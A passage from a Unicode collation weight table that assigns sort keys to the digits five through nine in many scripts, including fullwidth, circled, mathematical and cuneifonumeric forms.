NUMERIC SIGN FIVE BAN2 +12455 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2 VARIANT FORM +1246A ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U VARIANT FORM +16A65 ; [.1BBD.0020.0002] # MRO DIGIT FIVE +16B55 ; [.1BBD.0020.0002] # PAHAWH HMONG DIGIT FIVE +1D364 ; [.1BBD.0020.0002] # COUNTING ROD UNIT DIGIT FIVE +1E8CB ; [.1BBD.0020.0002] # MENDE KIKAKUI DIGIT FIVE +FF15 ; [.1BBD.0020.0003] # FULLWIDTH DIGIT FIVE +0F2E ; [.1BBD.0020.0004] # TIBETAN DIGIT HALF FIVE +2478 ; [*0310.0020.0004][.1BBD.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT FIVE +248C ; [.1BBD.0020.0004][*0274.0020.0004] # DIGIT FIVE FULL STOP +1F106 ; [.1BBD.0020.0004][*0221.0020.0004] # DIGIT FIVE COMMA +1D7D3 ; [.1BBD.0020.0005] # MATHEMATICAL BOLD DIGIT FIVE +1D7DD ; [.1BBD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FIVE +1D7E7 ; [.1BBD.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FIVE +1D7F1 ; [.1BBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FIVE +1D7FB ; [.1BBD.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FIVE +2464 ; [.1BBD.0020.0006] # CIRCLED DIGIT FIVE +24F9 ; [.1BBD.0020.0006] # DOUBLE CIRCLED DIGIT FIVE +277A ; [.1BBD.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FIVE +2784 ; [.1BBD.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FIVE +278E ; [.1BBD.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE +2075 ; [.1BBD.0020.0014] # SUPERSCRIPT FIVE +2085 ; [.1BBD.0020.0015] # SUBSCRIPT FIVE +324C ; [.1BBD.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FIFTY ON BLACK SQUARE +32BF ; [.1BBD.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FIFTY +215A ; [.1BBD.0020.001E][*0606.0020.001E][.1BBE.0020.001E] # VULGAR FRACTION FIVE SIXTHS +215D ; [.1BBD.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION FIVE EIGHTHS +33E4 ; [.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE +32C4 ; [.1BBD.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY +335D ; [.1BBD.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE +0036 ; [.1BBE.0020.0002] # DIGIT SIX +0666 ; [.1BBE.0020.0002] # ARABIC-INDIC DIGIT SIX +06F6 ; [.1BBE.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SIX +07C6 ; [.1BBE.0020.0002] # NKO DIGIT SIX +096C ; [.1BBE.0020.0002] # DEVANAGARI DIGIT SIX +09EC ; [.1BBE.0020.0002] # BENGALI DIGIT SIX +0A6C ; [.1BBE.0020.0002] # GURMUKHI DIGIT SIX +0AEC ; [.1BBE.0020.0002] # GUJARATI DIGIT SIX +0B6C ; [.1BBE.0020.0002] # ORIYA DIGIT SIX +0BEC ; [.1BBE.0020.0002] # TAMIL DIGIT SIX +0C6C ; [.1BBE.0020.0002] # TELUGU DIGIT SIX +0CEC ; [.1BBE.0020.0002] # KANNADA DIGIT SIX +0D6C ; [.1BBE.0020.0002] # MALAYALAM DIGIT SIX +0DEC ; [.1BBE.0020.0002] # SINHALA LITH DIGIT SIX +0E56 ; [.1BBE.0020.0002] # THAI DIGIT SIX +0ED6 ; [.1BBE.0020.0002] # LAO DIGIT SIX +0F26 ; [.1BBE.0020.0002] # TIBETAN DIGIT SIX +1046 ; [.1BBE.0020.0002] # MYANMAR DIGIT SIX +1096 ; [.1BBE.0020.0002] # MYANMAR SHAN DIGIT SIX +136E ; [.1BBE.0020.0002] # ETHIOPIC DIGIT SIX +17E6 ; [.1BBE.0020.0002] # KHMER DIGIT SIX +17F6 ; [.1BBE.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-MUOY +1816 ; [.1BBE.0020.0002] # MONGOLIAN DIGIT SIX +194C ; [.1BBE.0020.0002] # LIMBU DIGIT SIX +19D6 ; [.1BBE.0020.0002] # NEW TAI LUE DIGIT SIX +1A86 ; [.1BBE.0020.0002] # TAI THAM HORA DIGIT SIX +1A96 ; [.1BBE.0020.0002] # TAI THAM THAM DIGIT SIX +1B56 ; [.1BBE.0020.0002] # BALINESE DIGIT SIX +1BB6 ; [.1BBE.0020.0002] # SUNDANESE DIGIT SIX +1C46 ; [.1BBE.0020.0002] # LEPCHA DIGIT SIX +1C56 ; [.1BBE.0020.0002] # OL CHIKI DIGIT SIX +2185 ; [.1BBE.0020.0002] # ROMAN NUMERAL SIX LATE FORM +3026 ; [.1BBE.0020.0002] # HANGZHOU NUMERAL SIX +A626 ; [.1BBE.0020.0002] # VAI DIGIT SIX +A8D6 ; [.1BBE.0020.0002] # SAURASHTRA DIGIT SIX +A906 ; [.1BBE.0020.0002] # KAYAH LI DIGIT SIX +A9D6 ; [.1BBE.0020.0002] # JAVANESE DIGIT SIX +A9F6 ; [.1BBE.0020.0002] # MYANMAR TAI LAING DIGIT SIX +AA56 ; [.1BBE.0020.0002] # CHAM DIGIT SIX +ABF6 ; [.1BBE.0020.0002] # MEETEI MAYEK DIGIT SIX +1010C ; [.1BBE.0020.0002] # AEGEAN NUMBER SIX +102E6 ; [.1BBE.0020.0002] # COPTIC EPACT DIGIT SIX +104A6 ; [.1BBE.0020.0002] # OSMANYA DIGIT SIX +109C5 ; [.1BBE.0020.0002] # MEROITIC CURSIVE NUMBER SIX +10E65 ; [.1BBE.0020.0002] # RUMI DIGIT SIX +11057 ; [.1BBE.0020.0002] # BRAHMI NUMBER SIX +1106C ; [.1BBE.0020.0002] # BRAHMI DIGIT SIX +110F6 ; [.1BBE.0020.0002] # SORA SOMPENG DIGIT SIX +1113C ; [.1BBE.0020.0002] # CHAKMA DIGIT SIX +111D6 ; [.1BBE.0020.0002] # SHARADA DIGIT SIX +111E6 ; [.1BBE.0020.0002] # SINHALA ARCHAIC DIGIT SIX +112F6 ; [.1BBE.0020.0002] # KHUDAWADI DIGIT SIX +114D6 ; [.1BBE.0020.0002] # TIRHUTA DIGIT SIX +11656 ; [.1BBE.0020.0002] # MODI DIGIT SIX +116C6 ; [.1BBE.0020.0002] # TAKRI DIGIT SIX +11736 ; [.1BBE.0020.0002] # AHOM DIGIT SIX +118E6 ; [.1BBE.0020.0002] # WARANG CITI DIGIT SIX +12404 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH +1240B ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX DISH +12411 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U +1241A ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX GESH2 +12428 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX SHAR2 +12440 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX VARIANT FORM ASH9 +1244E ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH TENU +1246B ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U VARIANT FORM +16A66 ; [.1BBE.0020.0002] # MRO DIGIT SIX +16B56 ; [.1BBE.0020.0002] # PAHAWH HMONG DIGIT SIX +1D365 ; [.1BBE.0020.0002] # COUNTING ROD UNIT DIGIT SIX +1E8CC ; [.1BBE.0020.0002] # MENDE KIKAKUI DIGIT SIX +FF16 ; [.1BBE.0020.0003] # FULLWIDTH DIGIT SIX +0F2F ; [.1BBE.0020.0004] # TIBETAN DIGIT HALF SIX +2479 ; [*0310.0020.0004][.1BBE.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT SIX +248D ; [.1BBE.0020.0004][*0274.0020.0004] # DIGIT SIX FULL STOP +1F107 ; [.1BBE.0020.0004][*0221.0020.0004] # DIGIT SIX COMMA +1D7D4 ; [.1BBE.0020.0005] # MATHEMATICAL BOLD DIGIT SIX +1D7DE ; [.1BBE.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SIX +1D7E8 ; [.1BBE.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SIX +1D7F2 ; [.1BBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SIX +1D7FC ; [.1BBE.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SIX +2465 ; [.1BBE.0020.0006] # CIRCLED DIGIT SIX +24FA ; [.1BBE.0020.0006] # DOUBLE CIRCLED DIGIT SIX +277B ; [.1BBE.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SIX +2785 ; [.1BBE.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SIX +278F ; [.1BBE.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX +2076 ; [.1BBE.0020.0014] # SUPERSCRIPT SIX +2086 ; [.1BBE.0020.0015] # SUBSCRIPT SIX +324D ; [.1BBE.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER SIXTY ON BLACK SQUARE +33E5 ; [.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX +32C5 ; [.1BBE.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE +335E ; [.1BBE.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX +0037 ; [.1BBF.0020.0002] # DIGIT SEVEN +0667 ; [.1BBF.0020.0002] # ARABIC-INDIC DIGIT SEVEN +06F7 ; [.1BBF.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SEVEN +07C7 ; [.1BBF.0020.0002] # NKO DIGIT SEVEN +096D ; [.1BBF.0020.0002] # DEVANAGARI DIGIT SEVEN +09ED ; [.1BBF.0020.0002] # BENGALI DIGIT SEVEN +0A6D ; [.1BBF.0020.0002] # GURMUKHI DIGIT SEVEN +0AED ; [.1BBF.0020.0002] # GUJARATI DIGIT SEVEN +0B6D ; [.1BBF.0020.0002] # ORIYA DIGIT SEVEN +0BED ; [.1BBF.0020.0002] # TAMIL DIGIT SEVEN +0C6D ; [.1BBF.0020.0002] # TELUGU DIGIT SEVEN +0CED ; [.1BBF.0020.0002] # KANNADA DIGIT SEVEN +0D6D ; [.1BBF.0020.0002] # MALAYALAM DIGIT SEVEN +0DED ; [.1BBF.0020.0002] # SINHALA LITH DIGIT SEVEN +0E57 ; [.1BBF.0020.0002] # THAI DIGIT SEVEN +0ED7 ; [.1BBF.0020.0002] # LAO DIGIT SEVEN +0F27 ; [.1BBF.0020.0002] # TIBETAN DIGIT SEVEN +1047 ; [.1BBF.0020.0002] # MYANMAR DIGIT SEVEN +1097 ; [.1BBF.0020.0002] # MYANMAR SHAN DIGIT SEVEN +136F ; [.1BBF.0020.0002] # ETHIOPIC DIGIT SEVEN +17E7 ; [.1BBF.0020.0002] # KHMER DIGIT SEVEN +17F7 ; [.1BBF.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-PII +1817 ; [.1BBF.0020.0002] # MONGOLIAN DIGIT SEVEN +194D ; [.1BBF.0020.0002] # LIMBU DIGIT SEVEN +19D7 ; [.1BBF.0020.0002] # NEW TAI LUE DIGIT SEVEN +1A87 ; [.1BBF.0020.0002] # TAI THAM HORA DIGIT SEVEN +1A97 ; [.1BBF.0020.0002] # TAI THAM THAM DIGIT SEVEN +1B57 ; [.1BBF.0020.0002] # BALINESE DIGIT SEVEN +1BB7 ; [.1BBF.0020.0002] # SUNDANESE DIGIT SEVEN +1C47 ; [.1BBF.0020.0002] # LEPCHA DIGIT SEVEN +1C57 ; [.1BBF.0020.0002] # OL CHIKI DIGIT SEVEN +3027 ; [.1BBF.0020.0002] # HANGZHOU NUMERAL SEVEN +A627 ; [.1BBF.0020.0002] # VAI DIGIT SEVEN +A8D7 ; [.1BBF.0020.0002] # SAURASHTRA DIGIT SEVEN +A907 ; [.1BBF.0020.0002] # KAYAH LI DIGIT SEVEN +A9D7 ; [.1BBF.0020.0002] # JAVANESE DIGIT SEVEN +A9F7 ; [.1BBF.0020.0002] # MYANMAR TAI LAING DIGIT SEVEN +AA57 ; [.1BBF.0020.0002] # CHAM DIGIT SEVEN +ABF7 ; [.1BBF.0020.0002] # MEETEI MAYEK DIGIT SEVEN +1010D ; [.1BBF.0020.0002] # AEGEAN NUMBER SEVEN +102E7 ; [.1BBF.0020.0002] # COPTIC EPACT DIGIT SEVEN +104A7 ; [.1BBF.0020.0002] # OSMANYA DIGIT SEVEN +109C6 ; [.1BBF.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN +10E66 ; [.1BBF.0020.0002] # RUMI DIGIT SEVEN +11058 ; [.1BBF.0020.0002] # BRAHMI NUMBER SEVEN +1106D ; [.1BBF.0020.0002] # BRAHMI DIGIT SEVEN +110F7 ; [.1BBF.0020.0002] # SORA SOMPENG DIGIT SEVEN +1113D ; [.1BBF.0020.0002] # CHAKMA DIGIT SEVEN +111D7 ; [.1BBF.0020.0002] # SHARADA DIGIT SEVEN +111E7 ; [.1BBF.0020.0002] # SINHALA ARCHAIC DIGIT SEVEN +112F7 ; [.1BBF.0020.0002] # KHUDAWADI DIGIT SEVEN +114D7 ; [.1BBF.0020.0002] # TIRHUTA DIGIT SEVEN +11657 ; [.1BBF.0020.0002] # MODI DIGIT SEVEN +116C7 ; [.1BBF.0020.0002] # TAKRI DIGIT SEVEN +11737 ; [.1BBF.0020.0002] # AHOM DIGIT SEVEN +118E7 ; [.1BBF.0020.0002] # WARANG CITI DIGIT SEVEN +12405 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN ASH +1240C ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN DISH +12412 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U +1241B ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN GESH2 +12429 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN SHAR2 +12441 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN3 +12442 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN A +12443 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN B +1246C ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U VARIANT FORM +16A67 ; [.1BBF.0020.0002] # MRO DIGIT SEVEN +16B57 ; [.1BBF.0020.0002] # PAHAWH HMONG DIGIT SEVEN +1D366 ; [.1BBF.0020.0002] # COUNTING ROD UNIT DIGIT SEVEN +1E8CD ; [.1BBF.0020.0002] # MENDE KIKAKUI DIGIT SEVEN +FF17 ; [.1BBF.0020.0003] # FULLWIDTH DIGIT SEVEN +0F30 ; [.1BBF.0020.0004] # TIBETAN DIGIT HALF SEVEN +247A ; [*0310.0020.0004][.1BBF.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT SEVEN +248E ; [.1BBF.0020.0004][*0274.0020.0004] # DIGIT SEVEN FULL STOP +1F108 ; [.1BBF.0020.0004][*0221.0020.0004] # DIGIT SEVEN COMMA +1D7D5 ; [.1BBF.0020.0005] # MATHEMATICAL BOLD DIGIT SEVEN +1D7DF ; [.1BBF.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SEVEN +1D7E9 ; [.1BBF.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SEVEN +1D7F3 ; [.1BBF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SEVEN +1D7FD ; [.1BBF.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SEVEN +2466 ; [.1BBF.0020.0006] # CIRCLED DIGIT SEVEN +24FB ; [.1BBF.0020.0006] # DOUBLE CIRCLED DIGIT SEVEN +277C ; [.1BBF.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SEVEN +2786 ; [.1BBF.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN +2790 ; [.1BBF.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN +2077 ; [.1BBF.0020.0014] # SUPERSCRIPT SEVEN +2087 ; [.1BBF.0020.0015] # SUBSCRIPT SEVEN +324E ; [.1BBF.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER SEVENTY ON BLACK SQUARE +215E ; [.1BBF.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION SEVEN EIGHTHS +33E6 ; [.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN +32C6 ; [.1BBF.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY +335F ; [.1BBF.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN +0038 ; [.1BC0.0020.0002] # DIGIT EIGHT +0668 ; [.1BC0.0020.0002] # ARABIC-INDIC DIGIT EIGHT +06F8 ; [.1BC0.0020.0002] # EXTENDED ARABIC-INDIC DIGIT EIGHT +07C8 ; [.1BC0.0020.0002] # NKO DIGIT EIGHT +096E ; [.1BC0.0020.0002] # DEVANAGARI DIGIT EIGHT +09EE ; [.1BC0.0020.0002] # BENGALI DIGIT EIGHT +0A6E ; [.1BC0.0020.0002] # GURMUKHI DIGIT EIGHT +0AEE ; [.1BC0.0020.0002] # GUJARATI DIGIT EIGHT +0B6E ; [.1BC0.0020.0002] # ORIYA DIGIT EIGHT +0BEE ; [.1BC0.0020.0002] # TAMIL DIGIT EIGHT +0C6E ; [.1BC0.0020.0002] # TELUGU DIGIT EIGHT +0CEE ; [.1BC0.0020.0002] # KANNADA DIGIT EIGHT +0D6E ; [.1BC0.0020.0002] # MALAYALAM DIGIT EIGHT +0DEE ; [.1BC0.0020.0002] # SINHALA LITH DIGIT EIGHT +0E58 ; [.1BC0.0020.0002] # THAI DIGIT EIGHT +0ED8 ; [.1BC0.0020.0002] # LAO DIGIT EIGHT +0F28 ; [.1BC0.0020.0002] # TIBETAN DIGIT EIGHT +1048 ; [.1BC0.0020.0002] # MYANMAR DIGIT EIGHT +1098 ; [.1BC0.0020.0002] # MYANMAR SHAN DIGIT EIGHT +1370 ; [.1BC0.0020.0002] # ETHIOPIC DIGIT EIGHT +17E8 ; [.1BC0.0020.0002] # KHMER DIGIT EIGHT +17F8 ; [.1BC0.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BEI +1818 ; [.1BC0.0020.0002] # MONGOLIAN DIGIT EIGHT +194E ; [.1BC0.0020.0002] # LIMBU DIGIT EIGHT +19D8 ; [.1BC0.0020.0002] # NEW TAI LUE DIGIT EIGHT +1A88 ; [.1BC0.0020.0002] # TAI THAM HORA DIGIT EIGHT +1A98 ; [.1BC0.0020.0002] # TAI THAM THAM DIGIT EIGHT +1B58 ; [.1BC0.0020.0002] # BALINESE DIGIT EIGHT +1BB8 ; [.1BC0.0020.0002] # SUNDANESE DIGIT EIGHT +1C48 ; [.1BC0.0020.0002] # LEPCHA DIGIT EIGHT +1C58 ; [.1BC0.0020.0002] # OL CHIKI DIGIT EIGHT +3028 ; [.1BC0.0020.0002] # HANGZHOU NUMERAL EIGHT +A628 ; [.1BC0.0020.0002] # VAI DIGIT EIGHT +A8D8 ; [.1BC0.0020.0002] # SAURASHTRA DIGIT EIGHT +A908 ; [.1BC0.0020.0002] # KAYAH LI DIGIT EIGHT +A9D8 ; [.1BC0.0020.0002] # JAVANESE DIGIT EIGHT +A9F8 ; [.1BC0.0020.0002] # MYANMAR TAI LAING DIGIT EIGHT +AA58 ; [.1BC0.0020.0002] # CHAM DIGIT EIGHT +ABF8 ; [.1BC0.0020.0002] # MEETEI MAYEK DIGIT EIGHT +1010E ; [.1BC0.0020.0002] # AEGEAN NUMBER EIGHT +102E8 ; [.1BC0.0020.0002] # COPTIC EPACT DIGIT EIGHT +104A8 ; [.1BC0.0020.0002] # OSMANYA DIGIT EIGHT +109C7 ; [.1BC0.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT +10E67 ; [.1BC0.0020.0002] # RUMI DIGIT EIGHT +11059 ; [.1BC0.0020.0002] # BRAHMI NUMBER EIGHT +1106E ; [.1BC0.0020.0002] # BRAHMI DIGIT EIGHT +110F8 ; [.1BC0.0020.0002] # SORA SOMPENG DIGIT EIGHT +1113E ; [.1BC0.0020.0002] # CHAKMA DIGIT EIGHT +111D8 ; [.1BC0.0020.0002] # SHARADA DIGIT EIGHT +111E8 ; [.1BC0.0020.0002] # SINHALA ARCHAIC DIGIT EIGHT +112F8 ; [.1BC0.0020.0002] # KHUDAWADI DIGIT EIGHT +114D8 ; [.1BC0.0020.0002] # TIRHUTA DIGIT EIGHT +11658 ; [.1BC0.0020.0002] # MODI DIGIT EIGHT +116C8 ; [.1BC0.0020.0002] # TAKRI DIGIT EIGHT +11738 ; [.1BC0.0020.0002] # AHOM DIGIT EIGHT +118E8 ; [.1BC0.0020.0002] # WARANG CITI DIGIT EIGHT +12406 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT ASH +1240D ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT DISH +12413 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U +1241C ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT GESH2 +1242A ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT SHAR2 +12444 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU +12445 ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU3 +1246D ; [.1BC0.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U VARIANT FORM +16A68 ; [.1BC0.0020.0002] # MRO DIGIT EIGHT +16B58 ; [.1BC0.0020.0002] # PAHAWH HMONG DIGIT EIGHT +1D367 ; [.1BC0.0020.0002] # COUNTING ROD UNIT DIGIT EIGHT +1E8CE ; [.1BC0.0020.0002] # MENDE KIKAKUI DIGIT EIGHT +FF18 ; [.1BC0.0020.0003] # FULLWIDTH DIGIT EIGHT +0F31 ; [.1BC0.0020.0004] # TIBETAN DIGIT HALF EIGHT +247B ; [*0310.0020.0004][.1BC0.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT EIGHT +248F ; [.1BC0.0020.0004][*0274.0020.0004] # DIGIT EIGHT FULL STOP +1F109 ; [.1BC0.0020.0004][*0221.0020.0004] # DIGIT EIGHT COMMA +1D7D6 ; [.1BC0.0020.0005] # MATHEMATICAL BOLD DIGIT EIGHT +1D7E0 ; [.1BC0.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT EIGHT +1D7EA ; [.1BC0.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT EIGHT +1D7F4 ; [.1BC0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT EIGHT +1D7FE ; [.1BC0.0020.0005] # MATHEMATICAL MONOSPACE DIGIT EIGHT +2467 ; [.1BC0.0020.0006] # CIRCLED DIGIT EIGHT +24FC ; [.1BC0.0020.0006] # DOUBLE CIRCLED DIGIT EIGHT +277D ; [.1BC0.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT EIGHT +2787 ; [.1BC0.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT +2791 ; [.1BC0.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT +2078 ; [.1BC0.0020.0014] # SUPERSCRIPT EIGHT +2088 ; [.1BC0.0020.0015] # SUBSCRIPT EIGHT +324F ; [.1BC0.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER EIGHTY ON BLACK SQUARE +33E7 ; [.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT +32C7 ; [.1BC0.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST +3360 ; [.1BC0.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT +0039 ; [.1BC1.0020.0002] # DIGIT NINE +0669 ; [.1BC1.0020.0002] # ARABIC-INDIC DIGIT NINE +06F9 ; [.1BC1.0020.0002] # EXTENDED ARABIC-INDIC DIGIT NINE +07C9 ; [.1BC1.0020.0002] # NKO DIGIT NINE +096F ; [.1BC1.0020.0002] # DEVANAGARI DIGIT NINE +09EF ; [.1BC1.0020.0002] # BENGALI DIGIT NINE +0A6F ; [.1BC1.0020.0002] # GURMUKHI DIGIT NINE +0AEF ; [.1BC1.0020.0002] # GUJARATI DIGIT NINE +0B6F ; [.1BC1.0020.0002] # ORIYA DIGIT NINE +0BEF ; [.1BC1.0020.0002] # TAMIL DIGIT NINE +0C6F ; [.1BC1.0020.0002] # TELUGU DIGIT NINE +0CEF ; [.1BC1.0020.0002] # KANNADA DIGIT NINE +0D6F ; [.1BC1.0020.0002] # MALAYALAM DIGIT NINE +0DEF ; [.1BC1.0020.0002] # SINHALA LITH DIGIT NINE +0E59 ; [.1BC1.0020.0002] # THAI DIGIT NINE +0ED9 ; [.1BC1.0020.0002] # LAO DIGIT NINE +0F29 ; [.1BC1.0020.0002] # TIBETAN DIGIT NINE +1049 ; [.1BC1.0020.0002] # MYANMAR DIGIT NINE +1099 ; [.1BC1.0020.0002] # MYANMAR SHAN DIGIT NINE +1371 ; [.1BC1.0020.0002] # ETHIOPIC DIGIT NINE +17E9 ; [.1BC1.0020.0002] # KHMER DIGIT NINE +17F9 ; [.1BC1.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BUON +1819 ; [.1BC1.0020.0002] # MONGOLIAN DIGIT NINE +194F ; [.1BC1.0020.0002] # LIMBU DIGIT NINE +19D9 ; [.1BC1.0020.0002] # NEW TAI LUE DIGIT NINE +1A89 ; [.1BC1.0020.0002] # TAI THAM HORA DIGIT NINE +1A99 ; [.1BC1.0020.0002] # TAI THAM THAM DIGIT NINE +1B59 ; [.1BC1.0020.0002] # BALINESE DIGIT NINE +1BB9 ; [.1BC1.0020.0002] # SUNDANESE DIGIT NINE +1C49 ; [.1BC1.0020.0002] # LEPCHA DIGIT NINE +1C59 ; [.1BC1.0020.0002] # OL CHIKI DIGIT NINE +3029 ; [.1BC1.0020.0002] # HANGZHOU NUMERAL NINE +A629 ; [.1BC1.0020.0002] # VAI DIGIT NINE +A8D9 ; [.1BC1.0020.0002] # SAURASHTRA DIGIT NINE +A909 ; [.1BC1.0020.0002] # KAYAH LI DIGIT NINE +A9D9 ; [.1BC1.0020.0002] # JAVANESE DIGIT NINE +A9F9 ; [.1BC1.0020.0002] # MYANMAR TAI LAING DIGIT NINE +AA59 ; [.1BC1.0020.0002] # CHAM DIGIT NINE +ABF9 ; [.1BC1.0020.0002] # MEETEI MAYEK DIGIT NINE +1010F ; [.1BC1.0020.0002] # AEGEAN NUMBER NINE +102E9 ; [.1BC1.0020.0002] # COPTIC EPACT DIGIT NINE +104A9 ; [.1BC1.0020.0002] # OSMANYA DIGIT NINE +109C8 ; [.1BC1.0020.0002] # MEROITIC CURSIVE NUMBER NINE +10E68 ; [.1BC1.0020.0002] # RUMI DIGIT NINE +1105A ; [.1BC1.0020.0002] # BRAHMI NUMBER NINE +1106F ; [.1BC1.0020.0002] # BRAHMI DIGIT NINE +110F9 ; [.1BC1.0020.0002] # SORA SOMPENG DIGIT NINE +1113F ; [.1BC1.0020.0002] # CHAKMA DIGIT NINE +111D9 ; [.1BC1.0020.0002] # SHARADA DIGIT NINE +111E9 ; [.1BC1.0020.0002] # SINHALA ARCHAIC DIGIT NINE +112F9 ; [.1BC1.0020.0002] # KHUDAWADI DIGIT NINE +114D9 ; [.1BC1.0020.0002] # TIRHUTA DIGIT NINE +11659 ; [.1BC1.0020.0002] # MODI DIGIT NINE +116C9 ; [.1BC1.0020.0002] # TAKRI DIGIT NINE +11739 ; [.1BC1.0020.0002] # AHOM DIGIT NINE +118E9 ; [.1BC1.0020.0002] # WARANG CITI DIGIT NINE +12407 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE ASH +1240E ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE DISH +12414 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U +1241D ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE GESH2 +1242B ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE SHAR2 +12446 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU +12447 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN 